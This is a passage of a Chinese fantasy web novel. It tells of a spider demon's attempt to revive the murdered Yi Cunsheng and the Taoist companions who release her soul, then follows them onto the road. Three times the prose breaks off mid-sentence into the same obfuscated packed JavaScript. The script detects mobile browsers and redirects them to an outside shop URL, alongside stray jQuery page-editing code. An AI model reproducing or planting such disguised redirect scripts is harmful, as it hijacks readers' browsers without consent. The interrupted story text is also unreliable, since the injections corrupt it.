“它们惯于寅时出没,正是因为此时天色未明,寒气最重,山野间阳气稀薄。但凡遇上正午烈日直晒,或是沾染了雄黄、艾草等纯阳之物,便会浑身蜷曲,如翻了身的王八一般任人宰割。 “而且金丝蛛的蛛丝虽水火不侵,却怕陈年糯米汁,一旦沾染上,金丝便会失去韧性,变得脆如薄纸,轻轻一扯就会断裂。 “哼哼,不枉我特意花出一整月的时间来研究它们的习性,”卫磐石得意地张开双臂,好似君临天下的帝王般,“瞧瞧,这一屋子!” 衣寸生惊惧地看着面前的男人,指甲紧紧绞着小女孩肩上的衣服,抖着嗓子推测道:“接着,你借收弟子的名义招揽人手,在石头门背后建了金丝作坊,捕捉和抽取金丝蛛肚子里的蛛丝,所以才会有源源不断的金丝线送到金丝楼……” 她垂下眼,失神地盯着卫磐石脚后那滩早已干涸的血液,心跳如鼓声一般咚咚作响。 “那……那我们的婚事……”衣寸生的嘴唇煞白,嘴里再也吐不出一个字。 “不,阿生,我是真的爱你!”卫磐石突然急了,慌忙上前攥住她冰凉的手,眼底的得意褪去大半。 原本紧紧抱着衣寸生大腿的小女孩猛地一抖,重新缩回了墙角,恐惧地瞪着衣寸生跟前的卫磐石。 “我捕这些金丝蛛,曾经的确只是为了发财,可如今我心里盘算的,是借着这笔本钱,带全家去更有前景的地方,而不是窝在这深山老林里,无籍无名一辈子!”卫磐石痛心地拍着胸脯,“我这么做,可都是为了你,为了将来的孩子,为了咱们的家业啊!” “我们现在的生活不好么?”衣寸生猛地抽回手,后退一步,眼眶泛红:“为什么瞒着我和爹爹?为什么一定要这么残忍?” “我不想让你们牵扯进来,太过危险……”卫磐石一副设身处地为他人着想的嘴脸,“何况,不对这些妖怪残忍,它们就会对我残忍,这样,你忍心么?” 衣寸生难以置信地张大嘴,剧烈喘着气,几近崩溃:“可你又怎忍心!你既用了绸缎坊,便早就将我们牵扯进来了!” 她痛苦地捂住脸,扶着墙慢慢蹲下身子,眼泪不住地往外涌。现在,摆在自己眼前的只有两条路可走:一是助纣为虐,今日之事就当毫不知情;二是劝说卫磐石回头,竭力弥补这场弥天大祸。 小女孩似是看出了她的纠结,鼓起勇气拉住衣寸生的衣袖摇了摇,磕磕绊绊地往外吐字:“姐姐,我不想死……” 衣寸生浑身一震,面上的表情更加痛苦:既然金丝蛛能化形,那这跟活生生的人有什么两样?! “你这妖怪!休要蛊惑阿生!”卫磐石手指着小女孩,恶狠狠道。 小女孩往衣寸生背后躲了躲,直勾勾盯着卫磐石。 “阿石,收手吧,”衣寸生恳切地望着卫磐石,起身搂住他,“放了金丝蛛,关掉作坊,咱们踏踏实实地做衣裳——” “怎么可能!”卫磐石像被踩了尾巴的猫,嗷地一声推开衣寸生,“我好不容易靠这个获得了那么多钱!怎么可能说关就关!?” 衣寸生打了个趔趄,愣在原地,张了张嘴,竟一时语塞。满室的艾草香混着金丝蛛的腥气,在此刻格外令人窒息。 卫磐石喘着粗气,胸膛剧烈起伏,眼底翻涌着贪婪与不甘:“你懂什么?你和你爹那破绸缎坊能赚几个钱?是我,利用了金丝蛛的丝,你才能做出最好的衣裳,那些达官贵人抢着买,这是金山!是旁人几辈子都摸不到的富贵!” “富贵?”衣寸生终于找回了自己的声音,带着显而易见的颤抖质问他,“用无数只金丝蛛的性命,用它们日日夜夜的恐惧与痛苦换来的富贵,你在夜晚回想起这些不绝于耳的哀嚎,睡得安稳么?” 卫磐石像是被戳中了痛处,脸色骤然铁青,他猛地抬手,指着门外:“你走!我不想听你说这些冠冕堂皇的话!要不是我壮大了绸缎坊,你能有今天!瞧瞧你身上的首饰——现在倒来教训我?” 衣寸生看着他狰狞的模样,心一点点沉了下去。她飞快地摘下自己的首饰,一件件地往卫磐石怀里丢:“还你,都还你!连这个定情玉镯!”说完拉着小女孩扭头便往门外走。 碧绿的玉镯掉在地上,碎成两段,卫磐石丢下怀里其他的金银,伸手去捡。 碎掉的断口像针一般扎向心头,卫磐石愣了一瞬,随即死死握住碎玉镯,对着石头门弟子高声发令:“捉住她们!” 屋子里的所有人立刻动了起来,连同刚才围着小女孩的人在内,一齐向她俩扑了过去。 衣寸生感觉自己从没跑这么快过,她回头望了眼似野兽一般的人群,双腿骤然发软,狠狠摔在了草地上。 “听着,我相信你是一只好妖,”衣寸生顾不上扭曲的脚踝,爬起来拢住小女孩欲搀扶的双手,“去县里的金丝楼告诉掌柜衣飞空,说衣寸生有危险,速来金丝作坊!” 小女孩盯着衣寸生,仿佛做出了重大决定一样:“给你……保命……”她不知从哪掏出一个红翡玉簪,飞快地塞进衣寸生怀里,恋恋不舍地扭头,恢复成原形,几秒后就消失在了远处茂密的竹林里。 …… 重明的声音开始哽咽:“可若不是我找了人去,她也不会死……” 小女孩到县里后,依衣寸生的话去找了衣飞空,衣飞空大惊,忙去衙门借锣,一边走一边敲:“愿意随我救小女的,必有重谢!” 就这样,乌泱泱的一群人来到了金丝作坊,见到门前的景象后,“嗡”的一声爆发出了激烈的疑惑。 衣寸生被堵着嘴,绑在作坊前,周围的弟子拿着符,只待卫磐石一声令下。 “这是干什么!你们要做什么!!”衣飞空的眼睛要喷出火来,他怒不可遏地冲上前,却被石头门弟子拦住。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062584|195093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>见到衣飞空后,衣寸生开始拼命挣扎,祈求地看着他,在心里拼命呐喊:“爹爹救救我,救救我!”她很想发声,但是嘴被堵住,只能发出阵阵呜咽。 卫磐石早就想好了说辞,他指着脚边的衣寸生对衣飞空道:“这个衣寸生是妖怪变的!真正的阿生,早就……早就被妖怪吃了——”情到深处,忍不住落了几滴泪。 人群瞬间鸦雀无声,他们看看衣飞空,再看看卫磐石,最后目光落在衣寸生身上。 衣飞空脸色瞬间煞白,他不可置信地往后退了几步,手指着卫磐石,大口喘着气:“放屁!我女儿——她明明好端端地在这儿!” 后面的人群开始附和—— “就是啊,明明在这呢!” “骗人的吧,怎么可能……” “拿出证据来!” 卫磐石表情痛苦地走到衣飞空身前,握住他的手:“岳父,是我不好,没有保护好阿生……”随即凑近衣飞空的耳朵,话锋一转,“别以为我不知道,你抛弃了妻子,来到金丝县,就是为了寻找金丝蛛的下落,可如今,女儿被你心心念念的妖怪杀死了,你当如何?” 衣飞空瞪大了眼,捂住心脏,嘴里“嗬嗬”作响,却发不出一点儿声音。 卫磐石从衣飞空身侧抽离,自腰间拔出剑,直指衣寸生,对着人群说道:“好啊,你们不是要证据么,我现在就给你们看!” 石头门弟子见状念动咒语,手里的符纸一齐向衣寸生射去。符纸发出刺眼的金光,将衣寸生笼罩起来。下一秒,一道红光从她身上喷射而出,将飞去的符纸尽数弹开。 “妖怪!是妖怪啊!杀了她!!” 由县令带头,一群人本来各怀鬼胎,见状顺利地达成了一致:“杀了她,杀了她!” 衣寸生拼命摇着头,就见卫磐石持剑向自己走来,她又看向衣飞空,见他被卫磐石气得晕倒在地,终于绝了望,垂下了头。 重明痛苦地捂着胸口,伸出毛茸茸的双足,刮去眼珠上的泪:“我就在不远处的树后看着,亲眼看着她被杀,却什么也做不了……” 纪泱泱四人看着重明,齐齐沉默起来。 “衣飞空回去后就疯了,日夜念叨着‘我的女儿是妖怪’这种话,完全不能正常生活。于是,我接手了金丝楼,先是杀了县令,用蛛丝改变了所有知情人的记忆,接着将卫磐石和石头门弟子制成了傀儡,让他们偿罪,最后,我开始了复活衣寸生的筹划。 重明平复了情绪:“我分身出了无数金丝蛛来吸收天地精华给阿生,如你们所见,这里所有的金丝蛛都是我的分身。” “我讲完了,你们走吧,”重明拍拍手,收回四人身上的金丝蛛,“我根本没想伤害你们这些道士,反正仪式就要完成了,结果不可能被改变……” “不对啊,”纪泱泱疑惑地摸了摸下巴,“招赏榜不是你下的么?先前的那些道士哪去了?” 这话一出,倒是给重明问愣了,她停住转身的动作,疑惑地开口:“什么招赏榜?没听说过。况且,除了你们,根本没有道士来过啊。” 11. 第11章 洞 “卫磐石不是你操控的么?他怎会知道我们的名字?”酒当歌的眉头紧紧皱起。 “你们的名声早就在金丝县里传开了,只不过,我没想到会来四个人。”重明瞟了眼纪泱泱。 纪泱泱猛然想起初来金丝县时,那个醉酒大汉。 “怕是居心叵测之人故意给你们下了套吧。”重明的言语间尽是厌恶。说完,她一把拉开身后的金丝帘子,一个刚好能让她通过的漆黑大洞露了出来。 “慢着!”酒当歌一个箭步冲过去,想要拦住重明。 然而重明只是往身后瞥了一眼,用力甩过身子,尾巴末端朝四人猛地喷出一道蛛丝。 酒当歌迅速拔剑,直直地劈过去,金色的蛛丝冒着热气,在碰到空气后瞬间凝固,将整个洞口糊得死死的。酒当歌的剑落在上面,连人一起被猛地朝后弹开。 “糟了,若是降下天雷,会把整座山都劈开的!”酒当歌心下一急,握着剑使劲刺向金丝,但它的坚韧程度早已超出了她的预想。 纪泱泱在她身后默默点了点头:这种天雷,臭老头儿跟自己讲过。 复活一个人的方法不多,除了借神物之力外,便是靠法术神通:先是用阵法留住魂魄,趁阴司还未将其带走,放入隔绝气息的容器,再以自身修为和月光温养魂魄数年,直到与肉身完全合一,才能躲过天雷,瞒过天地。 他们四人现在所要做的,就是趁衣寸生未与肉身完全合一,解放她的灵魂,让其进入轮回。 否则,她会慢慢侵蚀掉这里的大地灵气,就像把整个石头门从金子做的变成石头做的一样。 莫云欲按住酒当歌的肩膀,对她摇了摇头:“没用的,咱们刚刚不都试过了么?” 酒当歌收了剑,大口喘着气:“你们谁带了雄黄和艾草?” 所有人都摇了摇头。 “那我们赶紧去找吧!” “她既敢说出金丝蛛的弱点,想必自己是没有的。”白墨轩若有所思地拿伞敲着手掌,一下一下地。 “有道理,”莫云欲点点头,“怪不得她会说那么多。” 想来也是,费这么大阵仗将他们引来,怎么可能就为了给他们讲个故事。恐怕是不想让他们破坏仪式而故意拖延时间才对。 “那我们现在怎么办?”酒当歌望向莫云欲,见他两手一摊,又望向了白墨轩。 “重明必须为衣寸生提供一个安全的空间,既不能被别人找到,又要保证被找到后安全离开,所以一定有另外的路——” “不,我们直接凿墙。”纪泱泱打断了白墨轩,斩钉截铁道。 酒当歌眼一亮,找出一张爆破符,“啪”的一声按在金丝旁的墙上,随后用灵力催动,大喝一声:“炸!” 红色的符纸霎时发出巨大光芒,“轰隆”一声,墙壁被炸开一个大洞,露出了幽深的通道。 “奇哉!”酒当歌很自然地揽上纪泱泱的肩,紧了紧手臂,“师妹,你咋这么聪明呢!” 纪泱泱“嘿嘿”傻笑两声。 “嗯,不错,”莫云欲率先走进去,摇开扇子,“有我半点聪慧。” “嘁,脸皮之厚,堪比城墙!”酒当歌与纪泱泱紧随其后,白墨轩没说话,眸色沉沉。 “大家脚步轻一点,这里的土层比较松软,稍不留神可能就会垮掉。”莫云欲提醒道。 通道壁上糊满了苔藓,四人靠着莫云欲的光符,小心地向前深入。不知走了多久,莫云欲突然停下了脚步:“前面没路了。” 剩余的三人闻言立刻围了上去,莫云欲控制着光符下沉,停在地面,一个向下的大洞赫然出现在众人眼前。 洞壁裹满了金丝,在光的照耀下亮闪闪的。 酒当歌“啧”了一声,踹了一下脚边安静躺着的一块土,土块骨碌碌滚下去,好半天才传来落地的声响。 “够深的啊,”莫云欲从怀里扯出一张新的御风符,扭头跟三人嘱咐道,“我先下去,待确认安全后会催动光符飞上来,到时你们再依次下来。” “你行么?”酒当歌投去怀疑的一瞥。 莫云欲闻言嬉皮笑脸道:“你求我,我就把这个机会让给你。” “嘁,这时候了还贫嘴,”酒当歌翻了个白眼,一脚踢向他的屁股,“谁稀罕!下去吧你!” 一声惨叫。 片刻后,光符悠悠地飞了上来,酒当歌揽住纪泱泱的腰,抓住光符,直接给她带了下去。而白墨轩,只是借了光符的光,撑开白玉骨伞,纵身一跃,伞便稳稳地带着他下坠。 白墨轩下去后,先是发现了正前方三个一模一样的岔道,后又发现先他下去的三人早已开始研究它们了。 “走中间这个吧,有风,说明不是死胡同。”莫云欲站在中间岔道,伸出手,仔细感受着风力。 “可这个也有风啊。”酒当歌站在最左边的岔道旁,学着莫云欲的样子伸手。 “那走这边,金丝比较多。”纪泱泱蹲下身子注视着一缕缕金丝线,提议道。 “可这两条路的金丝也不少啊。”莫云欲立刻反驳。 酒当歌看到白墨轩下来,朝他招了招手,转回头提议道:“要不我们兵分三路?” “可万一岔路之后还是岔路,难道要将人劈作两半走么?”莫云欲反问她。 纪泱泱马上接话:“对啊师姐,而且兵分三路风险太大,岔路之后若有变故,我们彼此连个照应都没有。” 她从进入大洞开始就苍白着唇,如今听到要分开走,更是吓得连胆子都开始发抖——她怕黑。 “那总不能一起走吧?太费时间了,”酒当歌叹了口气,蹲下身子,“依你俩说,我们该怎么办?” “要不还是兵分三路吧,”莫云欲开始掏符纸,“锁迹符可以实时显示各自的位置和走过的路,”说着便将四张白符摆在眼前,灵力输入的瞬间,四人名中最后一字便出现在了纸上,“白纸黑字,清晰无比。” “找到衣寸生就用传音符通知大家集合。”他补充道。 酒当歌一把夺过了印着自己名字的锁迹符:“那还等什么,咱们快走吧。” 纪泱泱忙从莫云欲手中抽走了自己的符纸:“我要跟师姐一起!”抢在他开口前揪住酒当歌的衣角。 “好啊。”酒当歌笑眯眯地搂住纪泱泱,往中间那条路走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062585|195093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,莫云欲在一旁嫉妒到眼睛都要喷出火。 “师姐,莫同道好像很生气。”纪泱泱侧过头在酒当歌耳边小声嘀咕。 “气死了才好,”酒当歌挑眉,“省得他总跟在我屁股后面晃悠,碍眼得很。” 白墨轩挑了最右边的那条路,头也不回地走了。 最后走的莫云欲朝大家各自离去的背影不放心地提醒道:“符纸燃尽就失效了!别忘了!” …… 被无尽的黑暗包裹,纪泱泱决定用聊天来给自己壮胆,正好她的嘴也闲不住—— “师姐,你下山历练多久了呀?” “大概从我十三岁起吧,已经七年了。” “是师父把你赶出来的,还是你自己要下山呢?” “当然是我自己要下山的啦,从大约十几年前开始,师父就不提倡弟子下山历练了,不过他也不会阻拦就是了。” “为什么啊?” “因为那件——因为我们学的是剑道,就注定要入江湖,去斩妖除魔,捍卫正道……” 纪泱泱开始好奇十几年前卦镜殿到底发生了什么事。 “泱泱是为什么下山呢?” “我啊,可能是师父觉得我作为亲传弟子在山上太无所事事,恨铁不成钢,所以把我丢下来历练——” 酒当歌突然拦住了纪泱泱。 “我的符纸没坏吧?白同道跟莫云欲的名字都不动了。” 纪泱泱凑上去看了一眼,忙展开自己的,发现确实如酒当歌所说。 “他们不会出了什么——师姐小心!”纪泱泱猛地将酒当歌往对面推开,一道爪风擦着酒当歌的脸颊呼啸而过。 二人定了定神,朝同一个方向看去,半人高的金丝蛛隐匿在黑暗中,八只眼闪着诡异的绿光。它跟衣寸生一模一样,但二人却能明显感觉出这绝不是她。 “好险。”酒当歌“唰”地拔出了剑。若不是纪泱泱刚刚推她那一下,早就被金丝蛛割了喉。 几个喘息间,金丝蛛调整了方向,朝纪泱泱两人再次扑来。 酒当歌挡在纪泱泱身前,握紧了剑:这下完了,她还没找出金丝蛛的弱点,还没能力斩断它们的丝线…… “泱泱快跑!”酒当歌用剑挡住了金丝蛛喷来的金线,结果连手带剑都被糊住了。 纪泱泱站在原地,咬紧了唇,似是在考量什么。 金丝蛛猛地一拽,酒当歌被狠狠扯了过去,几乎是一瞬间,大量的蛛丝喷出并凝固,将她裹成一个茧,狠狠砸在了地上。 巨大的撞击致使土层裂开几条大缝,纪泱泱的脚下瞬间一空,她的双手在空中乱抓,整个人随着无数碎土一齐跌了下去。 恍惚间,她看见金丝蛛拖着酒当歌,三两下消失在了黑暗中。 …… “你醒了。”懒散的嗓音自耳边响起,纪泱泱猛地坐起身,一张符纸随着她的动作被她猝然甩出,箭一般射向声音来源。 “纪同道莫不是摔坏了脑子,敌我不分了?”白墨轩接住符纸,低声嘲讽一笑。 纪泱泱晃了晃脑袋,连忙问他:“你看到师姐了么?莫同道呢?” 12. 第12章 没心眼 她有一肚子问题想问,可瞧着白墨轩那副疏懒的模样,便只拣了自己最关心的那个。 白墨轩原本蹲在纪泱泱身侧,闻言站起了身子:“你不是有锁迹符么,看看吧。” 纪泱泱闻言忙拿出了那张符纸。符纸才燃了一半,但纸上四人的名字都不动了。 白墨轩出奇地有耐心,给纪泱泱解释道:“他们被重明抓住了,准备献给重生后的衣寸生补充力量,”他指了指纪泱泱右手边的方向,补充道,“喏,就在那边不远。” 纪泱泱踉踉跄跄地站起身,抖了抖身上的土,看向白墨轩:“你没事?” “我为什么要有事?”白墨轩反问她。 “可你那时跟莫云欲一样,锁迹符上的名字都不动了,我还以为……” 白墨轩嗤笑一声:“那符纸,早在跟金丝蛛打斗的时候就丢了。” “那你现在在这里干嘛?” “等着给他俩收尸呗。” 纪泱泱的脑海里迅速闪过一个疑问:为什么他没被金丝蛛抓走? 她迅速抓住这个疑问,并问了出来。 “我怎会知道,不如你去问问重明。”白墨轩一改先前的态度,两手一摊。 看他那副无赖的样子,纪泱泱突然有些恼火,决心不再问白墨轩哪怕一个问题,跌跌撞撞地朝右走去。 走了几步便隐隐约约听见争吵的声音—— “我从没怪过你,无论你选择了哪条路,我都是必死的结局。” “是么?我废了好几年的时间,终于修复了你的灵魂……” 纪泱泱趴在洞口,朝外面看去:半圆的洞壁嵌了无数夜明珠,最中间铺了厚厚一层蛛丝,衣寸生坐在上面痛苦地捂住胸口,离她不远处左右两边各放了一个人形蛛茧,重明化作了人形,背对洞口跪坐在衣寸生对面,让人看不到她的正脸。 到底该怎么割开蛛丝?人在里面会窒息么?纪泱泱头疼地看着那两个茧,不敢贸动。 “为什么要复活我?我在这世上,早已没了惦念……” “因为我想——你爹爹还活着,不想见他么?” “他早就疯了!何况,一个死了好多年的人突然出现在自己面前,岂不是更加刺激他!”衣寸生抹了一下泪。 纪泱泱边听着二人的话边想:普通蜘蛛会用尖牙咬断自己的丝,那么拔掉重明的牙或许可以割断金丝。 金丝楼里衣寸生的傀儡该怎样弄断蛛丝呢?总不能当着客人的面变回原形咬断。那她一定用了特殊的剪刀,但自己此时怎么可能去金丝楼找到再带回来。 纪泱泱烦躁地抓了两下头发,脑中突然闪过衣寸生头上那根红簪。 重明的话与在金丝楼里的记忆重合,一个念头似流星般砸进纪泱泱的脑中:红簪一定是重明的妖丹了。想到这里,她蓦地瞪大双眼,回头看去。 白墨轩环伞抱胸,嘴角擒着一抹笑,一副置身事外的样子。 纪泱泱心下一沉——若是用红簪,定能割开困住二人的金丝茧。 重明二人的争吵还在继续: “你怎么就不明白,我只是想跟你在一起生活罢了!” “不可能的重明,人妖殊途,你不懂么?” “不,阿生,从现在起,你能使用我的力量,不再仅仅是一个软弱的人类了,”重明顿了顿,声音渐渐低了下去,“这样我们就能一直在一起……” “所以你将我的灵魂困在这里十年,仅为了满足你的一己私欲?!”衣寸生几近崩溃,“你没经过我的同意,就私自决定把我变成和金丝楼里那个衣寸生一样的傀儡么!” 话音刚落,衣寸生剧烈地咳了起来,捂住嘴的指缝漏出了血。 重明慌了神,掏出一方手帕,忙塞进衣寸生手里,轻轻拍着她的后背,对她道:“你的灵魂不稳,情绪不宜太过激动……” 衣寸生缓缓摇了摇头,喉间又涌上一阵腥甜,她攥紧重明的手,呕出一大口血。 “放过我吧,重明……” 重明没料到会演变成这样,她嗫嚅着嘴唇,半天才说出一句:“可我,我不想再失去你了。”她的手指搅着衣角,心中满是慌乱。 重明想把这些年攒在心底的万千话语,字字句句都诉与衣寸生。那些在脑海里幻想了无数遍的话,本应像背书一般脱口而出,可此刻却偏偏忘得一干二净。 “我有办法能让你进入轮回。”纪泱泱从黑暗中缓步走出,直直地看向衣寸生。 现在已经能隐隐约约听见雷声了,大雷下一秒可能就会劈下。纪泱泱绞尽脑汁也想不出更好的方法来救师姐,只能将希望寄托在衣寸生身上。 “你怎么会到这?!” “你们是谁?” 重明的警惕与衣寸生的疑惑叠在一起,让她不知该先回答谁。 “阿生,别听她的!”重明握住衣寸生的肩臂,试图阻隔她的视线。 衣寸生推开重明,紧紧盯着纪泱泱,眼神满是希冀:“你有什么办法?” 重明狠狠瞪向纪泱泱,威胁她道:“小小人类,不要多管闲事!” 纪泱泱直直地看向重明:“你的妖力所剩无几,我才不怕你。”说完,又重新看向衣寸生。 重明在一旁气得牙痒痒。确实如她所说,自己早就耗空了妖力,为了在衣寸生面前维持住人形,连傀儡都吸收掉了。 白墨轩站在差一步走出黑暗的洞口,依旧环胸抱伞,默望着纪泱泱,似是在期待她会有怎样的破局之法。 “以引路符设下阵法,它就能带你去往阴间,”纪泱泱话锋一转,两手一摊,“不过,我没有引路符,也不会画阵法。” 衣寸生的眸子黯淡了下去,下一秒,就听纪泱泱又开口,声音不急不缓:“不过,被重明掳来的那两人的其中一人会。”她指了指那两个茧。 衣寸生顺着望了过去,语气惊讶:“这,这里面竟是人?” 她转过头来,急切地抓住重明的手臂,目光在触及重明眸中那抹近乎绝望的忧伤后,似是被烫了一下,想说的话全部憋了回去。 “你就那么讨厌跟我待在一起么?”重明攥住胸口的衣裳,心脏像一只残破的葫芦,里面盛满了酸涩。 “重明,我并不是讨厌你,”衣寸生痛苦地捂住半张脸,闭了闭眼,“只是想快点结束这一世的痛苦罢了。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062586|195093||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你留不住她的,”白墨轩唇边虽挂着笑,话却字字如冰,“难道要让她一直带着那些痛苦的记忆陪你过家家,直到彻底疯掉么?” “就是。”纪泱泱在一旁附和。 白墨轩伸出手掌,一枚红簪静静地躺在上面,他看向重明,声音如清风般温和:“好了,拿着你的妖丹离开此地吧。” 真的在他那里!纪泱泱的太阳穴猛地一跳,惊愕地瞪向白墨轩:他果真是想害死师姐和莫云欲! “怎么会这样?”重明难以置信地低喃,再也维持不住人形,变成了金丝蛛,朝白墨轩快速爬去。 爬到一半时,重明脚一蹬,倏忽扭转方向,朝纪泱泱扑去,她的眼睛闪着恨意,对着纪泱泱的脖子就要咬下去。 纪泱泱懵在原地,脑中突然冒出金丝蛛在自己脖子上那冰冷的触感,悚得她浑身一抖。 白墨轩瞳孔骤缩,瞬间捏碎了手里的红簪,快到自己都来不及反应。重明在扑到纪泱泱的刹那,蓦地变成一抹灰烟,消失在了空中。 得救了! 纪泱泱瞪着眼,捂住胸口,拼命给自己顺气。 白墨轩盯着自己的手掌,嘴角的笑如蜡般凝固,眼眸里如同淬了寒冰,冷寂又狠戾。 低低的啜泣响起,衣寸生瘫坐在地,双手按在金丝上,任凭眼泪落在上面。 “衣小姐,何时能去救茧里的人呢?”白墨轩的面上极快地恢复了笑容,只是言语间依旧涌着寒气。 “对不起。”衣寸生起身,跌跌撞撞地走向两个茧。 …… 白墨轩简略地给酒当歌二人讲了事情的经过。讲过之后,莫云欲就开始准备符纸和法阵了。 而一旁的纪泱泱自缓过神后,就在一旁低着头发呆。 蹊跷,实在是蹊跷! 重明说过,除了他们四个人,没有道士来过金丝县。 金丝县的醉酒大汉也说过,金丝县的百姓都知道两位实力强大的道士要来,那这两人必然就是酒当歌和莫云欲了。 而卫磐石能叫出酒当歌和莫云欲的名字来,却不知道白墨轩和自己的,更加佐证了这一点——为确保金丝县只有酒当歌和莫云欲二人来。 因为招赏榜是面向大众的,而其他人听说有两位实力强大的道士要去,肯定觉得自己争不过他俩,索性放弃。 那么问题来了,重明为什么要下招赏榜,找道士来捉自己呢?况且,为了掩人耳目,应该确保越少人来越好。 除非有人指使,并且那人还捏着她的命根子。 答案显而易见了。 可白墨轩是在金丝楼得到的红簪,如何让重明在那之前的好几十天就准备呢。 白墨轩将水妖引到青湖,想在那里杀了他们,那金丝县想要他们性命的,可能另有人在。 更恐怖的是,那人或许连他俩到青湖前的路线都洞悉,却不知道白墨轩的踪迹。 顺着这条线盘下来的最大疑问,就是白墨轩来没来过金丝县。 可恶,早知道旁敲侧击地问一问就好了,她怎么这么没心眼! 终于,在纪泱泱冥想苦思完的时候,莫云欲将衣寸生送上了往生路。 13. 第13章 残符 “重见天日的感觉真好啊!”最后看了一眼尸廆山,酒当歌感慨道。 “师姐,我们就这样走了么?”纪泱泱戳了戳酒当歌紧实的肩膀,“金丝楼会怎样呢?” 莫云欲摇着扇子插上话:“我给县令写过信了,至于如何处置,那就是他的事了。” 纪泱泱点了点头,叹了口气。 周围的草和树稀疏起来,四人陆续走出尸廆山,踏上了一条陌生的路。 “师姐,咱们接下来去哪呀?”纪泱泱兴致勃勃地盯着路边的小野花,好奇地问酒当歌。 酒当歌瞥了一眼莫云欲,叹气道:“我打算逆连天河而上,去往载阳州,如此,正好顺道回剑霜山一趟。” 纪泱泱闻言,心下一喜,笑容竟比路边的花还要明媚几分。但很快,她的嘴角就耷拉下来了。 “白同道接下来有何打算?”纪泱泱问道,心也随之提到嗓子眼。 总不能还跟着他们吧? 白墨轩撑着伞,听罢微微抬高伞沿,露出双目,满脸认真地对她道:“在下要去寻一宝物,听闻它被一位富商在拍卖会拍下,遭了贼后便不知所踪了。” 纪泱泱愣了一下——白墨轩突然这么一本正经地回答自己的问题,她还真有点儿不适应。 这么想着,就见他故意冲自己狡黠一笑,幽幽道:“最近有风声从鹤溪郡传出,此番便打算前去一探究竟。” 纪泱泱瞪大眼,只觉一口老血哽在喉中:不是吧! 酒当歌闻言倒是眼一亮:“哎,白同道,这样的话咱们又顺路了!”笑容自面上绽开,她一拍胸脯,道,“人多力量大,我帮你找!” “多谢。”白墨轩浅笑颔首,轻声应承下来。 见两人一拍即合,纪泱泱愁得在心底直摇头:师姐啊,你这热心的性子什么时候能改改…… 不等她腹诽完,酒当歌已经开始大方地邀请白墨轩去剑霜山做客了。 闻听此言,纪泱泱登时急了,抢在白墨轩应下前开口:“不行!” “为何?”莫云欲扭头看来。 纪泱泱心中一慌,忙改口解释:“不是不是,我的意思是,不应这么草率地邀请白同道!” 引狼入室!这绝对是引狼入室! 四人由金琛州进入过康州后,眼前骤然开阔,原本稀疏的房屋也多了起来。 微风乍起,悬日入云,几只燕子擦着众人头皮掠过,徘徊在潮湿的空中。四人越往前走,天空就越阴沉。 纪泱泱侧首,苦口婆心地劝酒当歌:“人家白同道肯定有自己的计划呀,师姐,你这么热情,人家不好推却,万一误了事该怎么办?” 酒当歌一听,觉得颇有几分道理,继而不好意思地看向白墨轩:“那,白同道,找到宝物后,你有别的打算么?” 白墨轩摇了摇头:“无妨,在下那之后本就闲着无事,如今受邀,正好也去剑霜山开开眼,长长见识。” 这一番话,不论真假,确是给足了面子。 “那就好。”酒当歌点点头。 在她的印象中,白同道虽有一种如月色般皎洁的气质,面上也总是一副温和的笑,但那月色却是隔着窗棂,清凌凌的,对所有人都很疏离——刚刚她还以为会被拒绝呢。 一旁的纪泱泱倒是瞠目结舌,半分也不客气地怼道:“白同道不是要去寻振兴卦镜殿之法么?怎会清闲无事?” 白墨轩叹了口气,满脸惆怅:“欲成其事,非一朝一夕所能及也,”随即头一歪,墨黑的眼珠蒙上雾,配合着浅色的唇,好似受了天大的委屈一般,“纪同道该不会……是不欢迎我吧?” 纪泱泱看出了他眼中的挑衅,气得心脏一颤,但也只能抖着嘴唇赔笑:“哪有,我可太欢迎了,欢迎极了,怎么会不欢迎呢?”最后几个字几乎是咬牙切齿地挤出来。 白墨轩唇角一勾,重新笑开:“欢迎就好。” 绿茶!妥妥的绿茶!纪泱泱在心底暗暗发誓,一定要揪住白墨轩的小辫子,揭穿他的真面目,把他从队伍里踢出去! …… 人流不知不觉多了起来,路的前方突然出现一座石拱桥,强势地抢夺了四人的视线。 “嘶,有点奇怪,”莫云欲停住脚步,手中的扇子直指大桥,“为什么要给这段河竖着架桥呢?” 纪泱泱闻言与众人一同看去。 对啊,桥不都是横在两岸么,她从未见过顺着河水建的。况且,这桥一不能让右岸的人到左岸去,二不能让船通行,根本就是个无用桥啊…… 纪泱泱绞尽脑汁地想,接着摇了摇头:“不知道。” “那边,”白墨轩示意三人往左看,“虽然有大路,但根本没人走。” 青石板铺就的路,因为长期无人踏足,上面的草已经长得足足有半人高。来往的人宁愿走危险的石桥,也不愿走安全的大道。 